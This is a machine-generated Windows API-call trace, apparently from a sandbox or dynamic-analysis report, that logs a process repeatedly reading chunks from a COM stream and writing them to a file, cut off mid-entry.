1 [0149.515] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.516] memcpy (in: _Dst=0x37b069d, _Src=0x10cdb48, _Size=0x2 | out: _Dst=0x37b069d) returned 0x37b069d [0149.516] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.517] memcpy (in: _Dst=0x37b06ba, _Src=0x10cde68, _Size=0x2 | out: _Dst=0x37b06ba) returned 0x37b06ba [0149.517] IStream:RemoteSeek (in: This=0x32f000, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0149.517] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x4d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.517] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.518] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.519] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.519] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.519] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.519] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xb8, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.519] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.519] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.519] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.519] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x72, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.519] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.519] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x89, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.519] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.519] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.519] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.519] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.519] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.519] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x55, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.519] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.519] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.520] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.520] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.520] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.520] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x5d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.520] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.520] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.520] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.520] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.520] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.520] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.520] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.520] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.520] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.520] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xec, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.520] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.520] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.520] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.520] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.520] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.520] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.520] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.520] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.520] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.521] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.521] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.521] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x7a, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.521] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.521] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x6, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.521] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.521] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.521] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.521] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x55, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.521] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.521] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x5e, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.521] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.521] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.521] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.521] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x7, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.521] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.521] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.521] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.521] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.521] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.521] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x4c, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.521] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.521] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x56, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.522] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.522] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.522] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.522] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xdd, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.522] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.522] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xeb, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.522] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.522] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.522] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.522] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.522] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.522] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.522] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.522] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.522] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.522] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.522] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.522] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x4d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.522] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.522] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.522] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.522] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xb, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.522] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.522] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x4d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.523] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.523] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.523] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.523] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.523] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.523] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x1, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.523] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.523] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.523] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.523] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc8, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.523] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.523] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xf, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.523] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.523] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.523] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.523] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x55, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.523] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.523] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.523] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.523] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.524] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.524] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x64, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.524] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.524] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.524] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.524] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.524] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.524] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.524] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.524] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.524] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.524] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.524] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.524] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.524] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.524] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x89, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.524] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.524] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.524] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.524] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.524] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.524] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xfc, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.524] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.525] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.525] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.525] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.525] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.525] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.525] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.525] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.525] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.525] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x6, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.525] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.525] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x7e, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.525] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.525] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.525] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.525] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xcc, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.525] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.525] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: 